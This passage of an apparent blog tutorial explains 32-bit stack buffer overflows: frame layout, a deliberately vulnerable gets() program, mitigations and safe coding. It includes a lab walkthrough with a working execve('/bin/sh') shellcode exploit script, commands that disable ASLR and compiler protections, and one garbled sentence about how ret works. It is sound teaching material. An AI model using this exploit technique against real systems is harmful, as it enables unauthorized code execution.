address, which tells the CPU where to continue when a function finishes. On virtually all prominent architectures, the stack grows downward in memory (toward lower addresses) as data is pushed onto it. Since stack layout is deterministic for a given calling convention and compiler, small mistakes in how a program writes to stack memory (for example, writing past a local buffer) can overwrite critical control-flow data that the program later trusts. Those written areas would be most notably the saved frame pointer and the saved return address.</p><p>A typical stack frame for a simple function contains (from higher addresses to lower addresses) the caller’s stack data, the saved return address (pushed by the CALL instruction), the saved frame pointer (if used), space for local variables and possibly spilled registers, and occasionally compiler-inserted metadata such as stack canaries. When a CALL instruction executes (on x86-family ISAs), the CPU pushes the return address onto the stack and jumps to the callee. The callee typically executes a prologue sequence to create its frame and an epilogue sequence to tear it down before returning; these sequences are visible in assembly and are crucial to exploitation analysis.</p><p>On 32-bit x86 compiled with a typical calling convention, you will often see this prologue and epilogue sequence:</p><pre>push ebp<br>mov  ebp, esp<br>sub  esp, 0x40        ; allocate 64 bytes for locals<br>...<br>leave                 ; mov esp, ebp ; pop ebp<br>ret                   ; pop return address -&gt; eip</pre><p>push ebp and mov ebp, esp establish a frame pointer (ebp) so the compiler can refer to local variables and arguments at fixed offsets from ebp. In this layout, the saved return address sits at 4(%ebp) (i.e., at ebp + 4) and local variables live at negative offsets from ebp (e.g., -0x40(%ebp) for the buffer). An overflow of a local buffer that writes beyond its allocated size will therefore move upward on the stack and can overwrite saved registers and the saved return address that ret later pops into the instruction pointer.</p><p>On x86_64, the prologue/epilogue looks very similar when a frame pointer is used:</p><pre>push rbp<br>mov  rbp, rsp<br>sub  rsp, 0x50        ; allocate locals (aligned)<br>...<br>leave                 ; mov rsp, rbp ; pop rbp<br>ret                   ; pop return address -&gt; rip</pre><p>There are, however, important architectural and convention differences on x86_64. Modern 64-bit calling conventions pass the first several integer/pointer arguments in registers rather than on the stack (System V AMD64: RDI, RSI, RDX, RCX, R8, R9; Microsoft x64: RCX, RDX, R8, R9). This reduces the number of argument-related stack writes, but return addresses are still pushed onto the stack by the call instruction. Also, System V AMD64 defines a 128-byte <em>red zone, </em>a small area below RSP that leaf functions may use without adjusting RSP; this affects exploit reasoning for small local allocations. Finally, 64-bit ABIs exhibit stricter stack alignment (typically 16-byte alignment), which influences how compilers lay out data.</p><p>Calling conventions also define which registers are callee-saved versus caller-saved; this matters because compilers spill callee-saved registers into the stack frame so they may be overwritten by buffer overflows as well. For example, on System V AMD64 registers like RBX, RBP, and R12–R15 are callee-saved and often appear in the stack frame; corrupting them can break a function that expects them preserved. Caller-saved registers (e.g., RAX, RCX, RDX, RDI, RSI, R8–R11) are assumed to be clobbered across calls and are less frequently protected by the callee, but the compiler may spill them into the frame during optimization.</p><p>A helpful way to visualize a single stack frame (addresses increasing upward) for a function that uses a frame pointer is:</p><pre>(high addresses)<br>-------------------------<br>| caller stack data     |<br>-------------------------<br>| return address        |   &lt;-- pushed by CALL<br>-------------------------<br>| saved EBP / RBP       |   &lt;-- pushed in prologue<br>-------------------------<br>| local buffer [64 bytes]|<br>| other locals / spills |<br>-------------------------<br>(low addresses)</pre><p>If local buffer is declared as char buf[64]; and the function uses an unsafe copy into buf, writing more than 64 bytes will start overwriting saved EBP and then the return address. When ret The CPU executes the byte sequence currently occupying the return address slot and jumps to that location, which is how an attacker can redirect control flow.</p><h3>3. Vulnerable C Code Example: 32-bit focus (with a note on 64-bit)</h3><p>Below we present a minimal, intentionally vulnerable C program, then walk through exactly why it is vulnerable, how the stack looks at runtime, and how an attacker-controlled input can overwrite the saved return address. The goal is to connect the high-level source to the concrete memory layout so you can reason about exploitation or mitigation.</p><pre>/* vuln32.c intentionally vulnerable example (32-bit) */<br>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br><br>void vulnerable_function(void) {<br>    char buf[64];<br>    /* dangerously reads arbitrary-length input into buf */<br>    gets(buf);<br>}<br><br>int main(void) {<br>    printf(&quot;Enter input: &quot;);<br>    vulnerable_function();<br>    printf(&quot;Returned normally\n&quot;);<br>    return 0;<br>}</pre><p>gets() is deliberately unsafe: it reads bytes from stdin until a newline or EOF is encountered without checking the destination buffer size. If you run this program and supply more than 64 bytes, gets() will continue writing past buf and corrupt whatever occupies the next slots on the stack. On <strong>32-bit x86</strong> compiled with a classical frame-pointer-based layout, the stack frame for vulnerable_function() typically looks like this (addresses increasing upward):</p><pre>(high addresses)<br>-------------------------<br>| caller stack data     |<br>-------------------------<br>| return address        |   &lt;-- pushed by CALL (4 bytes)<br>-------------------------<br>| saved EBP             |   &lt;-- pushed in prologue (4 bytes)<br>-------------------------<br>| local buffer [64 bytes]|<br>| other locals / spills |<br>-------------------------<br>(low addresses)</pre><p>Since buf occupies 64 bytes, and the saved EBP is 4 bytes, the <strong>exact</strong> number of bytes you must write to reach and overwrite the saved return address is 64 (buf) + 4 (saved EBP) = 68. That means the first 68 input bytes will fill buf and then overwrite the saved EBP; bytes 69..72 (four bytes) will occupy the return address slot. On a little-endian architecture like x86, a four-byte address such as 0xbffff2e0 must be written with its least-significant byte first, i.e. \xe0\xf2\xff\xbf in the raw payload.</p><p>Practically, an attacker’s naive payload for a 32-bit, frame-pointer-using build looks like:</p><pre>[payload conceptual layout — 32-bit]<br>[offset 0..63]   shellcode or NOP sled / padding (64 bytes)<br>[offset 64..67] saved EBP (4 bytes — padding or gibberish)<br>[offset 68..71] new return address (4 bytes, little-endian)</pre><p>Therefore, to overwrite the EIP, you supply at least 72 bytes in total (68 bytes of padding plus 4 bytes that become the EIP). If you want EIP to point to shellcode previously injected on the stack, you typically place a NOP sled and shellcode in the initial 64 bytes and then put the return address (pointing somewhere into that NOP sled) in bytes 68..71.</p><p>Two reliable methods are used to discover the <strong>actual</strong> overwrite offset for the binary on your machine, because compiler decisions, alignment, and any small change can shift offsets slightly:</p><ul><li><strong>Cyclic/pattern generation.</strong> Use a cyclic non-repeating pattern generator (e.g., Metasploit’s pattern_create.rb,pwntools’ cyclic(), or gef), feed the pattern to the program until it crashes, and examine the crashed EIP in a debugger. Then run the complementary offset finder (e.g., pattern_offset or cyclic_find()) on the EIP value to get the exact byte offset to EIP. This avoids manual counting and survives minor padding differences.</li><li><strong>Inspect the stack in a debugger.</strong> Run the program in gdb (with plugins like pwndbg or gef if you like), set a breakpoint after gets() returns (or break on vulnerable_function entry), and use x/ commands to dump memory around the buffer and return address. For instance, use x/80xb $esp to view bytes near the current stack pointer and visually confirm where your input resides relative to the saved EBP and the saved return address.</li></ul><p>A few compilation notes for creating a 32-bit lab binary. On a 64-bit host, you can still compile a 32-bit binary using -m32. For an educational, instrumented binary, you can disable modern mitigations to reveal the pure overwrite behavior. Common flags for this controlled lab environment are:</p><pre>gcc -m32 -fno-stack-protector -z execstack -no-pie vuln32.c -o vuln32</pre><p>-m32 forces a 32-bit build; -fno-stack-protector disables canaries; -z execstack marks the stack executable (so injected shellcode can run); and -no-pie keeps addresses predictable. Use these flags only in an isolated environment, as they significantly lower security.</p><h3>4. Exploiting the Overflow</h3><p>Exploitation consists of a few clear steps: (1) control the input that overruns the buffer, (2) determine precisely how many bytes of input reach and overwrite the saved return address, and (3) craft the bytes that should occupy the return-address slot so the CPU transfers execution to code the attacker chooses. Although modern mitigations complicate real-world attacks, the primitive is the same on both 32-bit and 64-bit systems: an unchecked write into a stack-local buffer can reach up into frame metadata and change control flow. In this section, I’ll walk through the exploitation flow in a <strong>32-bit</strong> lab binary.</p><p>Start by confirming the crash and the offset to the saved return address. You have two reliable, repeatable techniques: feed a cyclic (non-repeating) pattern and examine the crashed instruction pointer in a debugger, or dump the stack after the write and visually inspect where your bytes landed. The pattern approach is usually fastest for repeated runs. For example, generate a 200-byte cyclic pattern using Metasploit’s pattern tools, gef, or pwntools. Run the program under gdb with the pattern as stdin, let it crash, then read the value of EIP (on 32-bit) or RIP (on 64-bit). Feed that value to the complementary offset finder (e.g., pattern_offset or pwntools.cyclic_find) and you’ll get the exact offset from the start of your input to the return-address slot. This technique avoids manual counting and survives slight compiler-inserted padding or alignment differences.</p><p>Once you know the offset, build a reproducible payload in three logical parts: (i) filler up to the return address, (ii) the new return address you want the CPU to load, and (iii) optional trailing data. For a 32-bit char buf[64] example that uses a saved EBP (4 bytes), the canonical offset to EIP is 68 bytes. That means bytes 0..63 fill buf, bytes 64..67 overwrite saved EBP, and bytes 68..71 occupy what ret will pop into EIP. In practice, you’ll often place a NOP sled and small shellcode early in the input (the “payload region”), then put an address from the stack (somewhere in the NOP sled) into the return-address slot so the program returns into your NOP sled and slides into the shellcode. On little-endian architectures, remember to encode the address in little-endian order (least significant byte first).</p><p>For lab demonstrations, you can craft a simple “crash + control” payload that overwrites EIP with a known value (such as 0x41424344 or a fake address) to prove you control EIP without actually executing malicious code. It will be demonstrated in Section 7. For a 32-bit example, a short Python snippet that builds the test payload looks like this:</p><pre># build_payload.py <br>import struct<br><br>offset = 68             # determined by cyclic/pattern or manual analysis<br>filler = b&#39;A&#39; * offset  # pad up to saved return address<br>new_eip = struct.pack(&quot;&lt;I&quot;, 0xdeadbeef)  # little-endian 0xdeadbeef<br>payload = filler + new_eip<br><br># write to file for feeding to program<br>with open(&quot;payload.bin&quot;, &quot;wb&quot;) as f:<br>    f.write(payload)</pre><p>Run the target under gdb with this payload as stdin and confirm EIP contains 0xdeadbeef. In gdb the relevant commands are straightforward:</p><pre>gdb ./vuln32<br>(gdb) run &lt; payload.bin<br># after crash:<br>(gdb) info registers eip<br>(gdb) x/32xb $esp        # examine stack bytes near SP<br>(gdb) bt                 # see backtrace / return address chain</pre><h3>5. Modern Protections and Mitigations</h3><p>As buffer overflow vulnerabilities became one of the most widely exploited classes of software flaws in the late 1990s and early 2000s, compiler and operating system designers responded by adding layers of protection to make exploitation significantly harder. These mitigations do not eliminate the underlying programming error, that is, writing past the bounds of a buffer; however, they make it extremely difficult or unreliable for an attacker to convert that bug into a controllable exploit. Understanding each protection and how it interacts with the stack layout is crucial.</p><h3>5.1 Stack Canaries</h3><p>The first major defense introduced against stack-based buffer overflows was the <em>stack canary</em> (also known as a <em>stack cookie</em>). The concept is simple: before the saved frame pointer and return address, the compiler inserts a random value called a <em>canary</em>. When a function returns, the program checks whether the canary’s value is intact. If it has changed, the program terminates immediately, preventing an attacker from hijacking control flow.</p><p>Visually, the stack layout with a canary looks like this:</p><pre>(high addresses)<br>-------------------------<br>| return address        |<br>-------------------------<br>| saved EBP             |<br>-------------------------<br>| canary (random value)  |  &lt;-- inserted by compiler<br>-------------------------<br>| local variables (buf) |<br>-------------------------<br>(low addresses)</pre><p>If a buffer overflow occurs, the extra bytes must pass through the canary before reaching the return address. Overwriting the canary changes its value, which the compiler-inserted check (just before the function returns) will detect. In 32-bit binaries compiled with GCC, you can enable this protection with the -fstack-protector or -fstack-protector-strong flag.</p><p>However, canaries are not perfect. Some vulnerabilities still allow leaks of the canary’s value (for instance, via format string bugs or partial memory disclosures). If an attacker can read the canary, they can rewrite it correctly during exploitation to avoid detection. Despite this, stack canaries remain one of the most effective and low-overhead mitigations available.</p><h3>5.2 DEP / NX Bit (Non-Executable Stack)</h3><p>Another critical mitigation is <strong>Data Execution Prevention (DEP)</strong>, also known as the <strong>NX bit (No-eXecute)</strong>. This protection marks memory regions as <em>non-executable</em>, meaning that even if an attacker injects shellcode into a writable memory region (like the stack or heap), the CPU will refuse to execute it.</p><p>Without DEP, a classic exploit might inject shellcode directly into the stack and overwrite the return address to point to it. With DEP enabled, that same exploit will crash because the CPU raises a segmentation fault when attempting to execute code from a non-executable page.</p><p>On Linux systems, DEP is implemented through the NX bit in modern CPUs and enforced by the kernel. You can see its effect when compiling: using the linker flag -z noexecstack marks the stack as non-executable. By contrast, for educational purposes, you might see tutorials compiled with -z execstack to deliberately disable it.</p><p>While DEP effectively kills direct <em>code injection</em> attacks, it does not prevent attackers from reusing existing executable code within the process, such as functions in the C standard library. This led to a new generation of exploits known as <em>return-to-libc</em> and <em>Return-Oriented Programming (ROP)</em>, where the attacker chains together snippets of legitimate code rather than injecting their own malicious code.</p><h3>5.3 ASLR (Address Space Layout Randomization)</h3><p>Address Space Layout Randomization, or ASLR, is a system-level protection that randomizes the base addresses of key memory regions every time a program runs. These include the stack, heap, libraries, and sometimes even the program’s own code segment. The idea is simple yet powerful: even if an attacker can control the instruction pointer, they cannot predict where to jump because the memory layout changes on every execution.</p><p>Before ASLR, the stack address of a buffer or the location of functions like system() was fixed and easily discoverable. After ASLR, the addresses shift unpredictably, so any hardcoded return address in an exploit will likely point to an invalid memory location, resulting in the program crashing.</p><p>On Linux, ASLR can be toggled system-wide with:</p><pre># Disable ASLR<br>echo 0 | sudo tee /proc/sys/kernel/randomize_va_space<br><br># Re-enable ASLR<br>echo 2 | sudo tee /proc/sys/kernel/randomize_va_space</pre><p>ASLR is particularly effective when combined with PIE (explained next) because both the program and its libraries are relocated independently at runtime. However, ASLR can be partially bypassed in cases where attackers can leak a memory address (an <em>information disclosure</em> vulnerability). Once they know the base of one region (e.g., libc), they can compute the locations of others relative to it.</p><h3>5.4 PIE (Position-Independent Executables)</h3><p>Position-Independent Executables (PIE) extend the concept of ASLR by making the program’s own code relocatable. Traditionally, even when ASLR was enabled, the program’s main binary was mapped at a fixed base address (e.g., 0x08048000 on 32-bit Linux). Only the stack, heap, and libraries were randomized.</p><p>A PIE binary, on the other hand, is compiled such that all its addresses are relative rather than absolute. This allows the operating system loader to place the binary at a random address every time it runs. ASLR, when combined with PIE, makes it nearly impossible to predict static memory locations for return addresses or ROP gadgets.</p><p>You can enable PIE when compiling with:</p><pre>gcc -fPIE -pie source.c -o binary</pre><p>Disabling it uses -no-pie. PIE adds a minor runtime cost due to additional address calculations, but in modern systems, it’s considered standard practice for security.</p><h3>5.5 Combining Protections: Defense in Depth</h3><p>Each mitigation targets a specific exploitation vector, but they are most effective when used in combination. For example, stack canaries detect overwrites, DEP prevents the execution of injected code, and ASLR/PIE attempt to eliminate address predictability. Even if one layer fails (e.g., a canary bypass via a memory leak), others can still prevent full exploitation.</p><p>A typical modern Linux binary compiled with full protections might use the following flags:</p><pre>gcc -fstack-protector-strong -D_FORTIFY_SOURCE=2 -O2 -Wl,-z,relro,-z,now -pie -fPIE source.c -o secure_binary</pre><p>This command applies multiple defenses:</p><ul><li><strong>-fstack-protector-strong</strong> inserts canaries.</li><li><strong>-D_FORTIFY_SOURCE=2</strong> adds additional checks for common unsafe functions.</li><li><strong>-z relro and </strong><strong>-z now</strong> harden the GOT and PLT sections to prevent runtime modification.</li><li><strong>-pie -fPIE</strong> enables full ASLR.</li></ul><p>No single mitigation provides a complete solution, and new bypass techniques emerge regularly; however, they significantly increase the complexity and cost of exploitation. Attackers must now chain vulnerabilities (e.g., an information leak followed by a control-flow hijack) rather than relying on a single overflow.</p><h3>5.6 Summary</h3><p>For anyone studying stack-based overflows, it’s crucial to understand these protections rather than simply disabling them. While turning them off (-fno-stack-protector, -z execstack, -no-pie) is helpful for controlled experiments, knowing <em>how</em> they work teaches you to interpret real-world binaries and evaluate exploit feasibility. In professional environments, these mitigations should always remain enabled, forming the first line of defense in secure software design.</p><p>In short:</p><ul><li><strong>Stack canaries</strong> detect corruption before it leads to control hijacking.</li><li><strong>DEP/NX</strong> ensures that writable memory cannot become executable.</li><li><strong>ASLR and PIE</strong> randomize addresses to remove predictability.</li><li><strong>Combined, they make exploitation an art of precision rather than simplicity.</strong></li></ul><h3>6. Safe Coding Practices</h3><p>Preventing stack-based buffer overflows begins with the source code itself. The single most effective strategy is to avoid unchecked writes to memory, using APIs that require explicit lengths, performing input validation, and treating all external data as untrusted. Below, I present practical, concrete guidance you can apply immediately: safe API choices, defensive coding patterns, checks you must always perform, compiler and build-time hardening recommendations, and testing/CI practices (sanitizers, fuzzing, static analysis).</p><p>Always prefer bounded APIs over unbounded ones. Replace any use of gets(), strcpy(), strcat(), sprintf(), or similar unbounded functions with length-aware variants. For example, use fgets() instead of gets() and snprintf() instead of sprintf(). Importantly, use these functions correctly: check return values, ensure sufficient buffer capacity, and account for the terminating NULL byte.</p><pre>/* safer read using fgets: check return and strip trailing newline */<br>char buf[64];<br>if (fgets(buf, sizeof(buf), stdin) == NULL) {<br>    /* handle EOF / error */<br>} else {<br>    /* optional: remove newline */<br>    size_t n = strlen(buf);<br>    if (n &gt; 0 &amp;&amp; buf[n-1] == &#39;\n&#39;) buf[n-1] = &#39;\0&#39;;<br>}</pre><p>Always validate lengths and check for integer overflow when computing allocation sizes or copying lengths. Off-by-one and integer-wrap bugs are a frequent source of exploitable issues. For example:</p><pre>/* check for overflow before malloc(len + 1) */<br>size_t len = get_expected_length();<br>if (len &gt; SIZE_MAX - 1) { /* overflow / too big */ abort(); }<br>char *buf = malloc(len + 1);<br>if (!buf) /* handle OOM */;<br>memcpy(buf, src, len);<br>buf[len] = &#39;\0&#39;;</pre><p>Prefer allocating based on sizeof expressions and avoid hardcoding byte sizes. When copying structures or arrays, use sizeof destination not magic numbers:</p><pre>/* safer copy — bounds computed from destination */<br>char dest[128];<br>size_t to_copy = min(strlen(src), sizeof dest - 1);<br>memcpy(dest, src, to_copy);<br>dest[to_copy] = &#39;\0&#39;;</pre><h3>7. Hands-On Practice: Lab walkthrough (using the vulnerable code from Section 3)</h3><p>This section walks you through a safe, local lab exercise that reproduces the stack overflow from Section 3 (the vuln32.c example), determines the exact overwrite offset, and constructs a minimal, repeatable exploit in a <strong>controlled environment</strong>. The goal is to make each step concrete so you can perform it yourself for learning and experimentation, but <strong>only</strong> on systems and binaries you control. Always run these experiments in an isolated virtual machine with restricted network access.</p><h3>Lab prerequisites and safety</h3><p>Configure a disposable Linux VM (e.g., an Ubuntu/Kali image) where you can install the following tools:</p><ul><li>gcc (with -m32 support: install gcc-multilib on 64-bit hosts),</li><li>gdb (install gdb, and optionally pwndbg or gef),</li><li>Python 3 and pwntools (for payload generation / cyclic patterns),</li><li>objdump, readelf (optional but helpful).</li></ul><p>Before starting, <strong>disable ASLR</strong> in the VM so addresses are deterministic for this exercise:</p><pre># For the lab only — re-enable ASLR after testing<br>echo 0 | sudo tee /proc/sys/kernel/randomize_va_space</pre><h3>Step 1: the vulnerable source (from Section 3)</h3><p>Use the intentionally vulnerable 32-bit program (saved as vuln32.c):</p><pre>/* vuln32.c intentionally vulnerable example (32-bit) */<br>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br><br>void vulnerable_function(void) {<br>    char buf[64];<br>    /* dangerously reads arbitrary-length input into buf */<br>    gets(buf);<br>}<br><br>int main(void) {<br>    printf(&quot;Enter input: &quot;);<br>    vulnerable_function();<br>    printf(&quot;Returned normally\n&quot;);<br>    return 0;<br>}</pre><p>Compile it for 32-bit lab use and disable protections so the simple stack overwrite behavior is visible:</p><pre>gcc -m32 -O0 -fno-stack-protector -z execstack -no-pie vuln32.c -o vuln32</pre><p>Flags explained briefly: -m32 produces a 32-bit binary, -fno-stack-protector disables canaries, -z execstack makes stack executable (for stack-shellcode demos only), and -no-pie keeps the binary at a fixed load address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*ko4MCsFY7GDWHKJyctDKoQ.png" /></figure><h3>Step 2: finding the overwrite offset (cyclic pattern method)</h3><p>Rather than counting bytes by hand, generate a cyclic (non-repeating) pattern and let the program crash; then recover the offset from the overwritten EIP. Using pwntools makes this simple.</p><p>Generate a 200-byte cyclic pattern and run under gdb:</p><pre># gen_pattern.py<br>from pwn import *<br>p = cyclic(200)<br>open(&quot;pattern.bin&quot;,&quot;wb&quot;).write(p)</pre><p>Run the program in gdb and feed the pattern as stdin:</p><pre>gdb --args ./vuln32<br>(gdb) run &lt; pattern.bin<br># program will crash; then:<br>(gdb) info registers eip<br># copy the EIP value (e.g., 0x61616174)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*mcs-dhPTt0L3n_rFMlg7eQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*TiV6DZoiQbKr7LCfePVv5g.png" /></figure><p>Now find the offset with the same library:</p><pre>from pwn import *<br># suppose EIP read from gdb was 0x61616174<br>eip_value = 0x61616174<br>offset = cyclic_find(p32(eip_value))<br>print(offset)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/1*iuEk6ZTiZ2VSRvu83PMONg.png" /></figure><h3>Step 3: Building a test payload that proves control of EIP</h3><p>Before adding shellcode, it’s good practice to prove you can set EIP to an arbitrary value. A short script to write a filler and a test 4-byte marker:</p><pre># test_eip.py — confirm control of EIP<br>from pwn import *<br>offset = 76                       # determined previously<br>payload = b&#39;A&#39;*offset + p32(0xdeadbeef)<br>open(&quot;payload_test.bin&quot;,&quot;wb&quot;).write(payload)</pre><p>Run in gdb:</p><pre>gdb ./vuln32<br>(gdb) run &lt; payload_test.bin<br># after crash:<br>(gdb) info registers eip<br># should show 0xdeadbeef (proves overwrite)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*PQN9Sm2CcNnbl15zEH1TWA.png" /></figure><p>If EIP equals the marker you wrote, you control the return address. If not, re-check your offset.</p><h3>Step 4: Locating a stack address to return to</h3><p>If you plan to return to shellcode on the stack, you must find a stable address in the stack region where your payload sits.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*jRMZh3TV1C_loRs2cXi5rg.png" /></figure><p>C’s are written to 0xffffd040.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*cpTNNAiHo7I-odMy7A56Ww.png" /></figure><h3>Step 5: Adding shellcode and NOP sled (stack code injection demo)</h3><p>For a classic demo, you can place a NOP sled plus small execve(/bin/sh) shellcode at the beginning of the payload, then overwrite EIP with an address that lands somewhere in the sled. A short, standard 32-bit execve shellcode (position-independent) can be used in lab environments; here is a compact example (size ~23 bytes):</p><pre># exploi.py (lab only)<br>from pwn import *<br><br># 32-bit execve(&quot;/bin/sh&quot;) shellcode (lab only)<br>shellcode = (<br>    b&quot;\x31\xc0&quot;              <br>    b&quot;\x50&quot;                  <br>    b&quot;\x68\x2f\x2f\x73\x68&quot;  <br>    b&quot;\x68\x2f\x62\x69\x6e&quot;  <br>    b&quot;\x89\xe3&quot;              <br>    b&quot;\x50&quot;                  <br>    b&quot;\x53&quot;                  <br>    b&quot;\x89\xe1&quot;              <br>    b&quot;\x99&quot;                  <br>    b&quot;\xb0\x0b&quot;              <br>    b&quot;\xcd\x80&quot;              <br>)<br><br># Numeric offset you confirmed<br>OFFSET = 76                     # bytes to saved return address (confirmed)<br><br># Build payload_buf: NOP sled + shellcode<br>NOP_SLED_LEN = 8              # tune down if payload_buf &gt; OFFSET<br>nop_sled = b&quot;\x90&quot; * NOP_SLED_LEN<br>payload_buf = nop_sled + shellcode<br><br># Safety check: payload_buf must fit before the return address<br>if len(payload_buf) &gt;= OFFSET:<br>    raise SystemExit(f&quot;payload_buf ({len(payload_buf)}) is &gt;= OFFSET ({OFFSET}). &quot;<br>                     &quot;Reduce NOP_SLED_LEN or shellcode size.&quot;)<br><br># Padding to reach the saved return address slot<br>padding = b&quot;A&quot; * (OFFSET - len(payload_buf))<br><br># Use the esp you observed; point slightly into the NOP sled<br># You observed C&#39;s at esp = 0xffffd040; pick RET_ADDR inside the sled.<br>RET_ADDR = 0xffffd040 + 16      # +16 lands inside the NOP sled; adjust if needed<br><br>payload = payload_buf + padding + p32(RET_ADDR)<br><br># Run the process and send payload<br>p = process(&quot;./vuln32&quot;)<br># read prompt if the program prints &quot;Enter input:&quot; first<br>try:<br>    p.recvline(timeout=1)<br>except EOFError:<br>    pass<br>p.sendline(payload)<br>p.interactive()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*WC6kdC8Lk9BAU1B-choLHw.png" /></figure><p>As can be seen above, we exploited the vulnerability and executed code.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f1f25a3cdb04" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>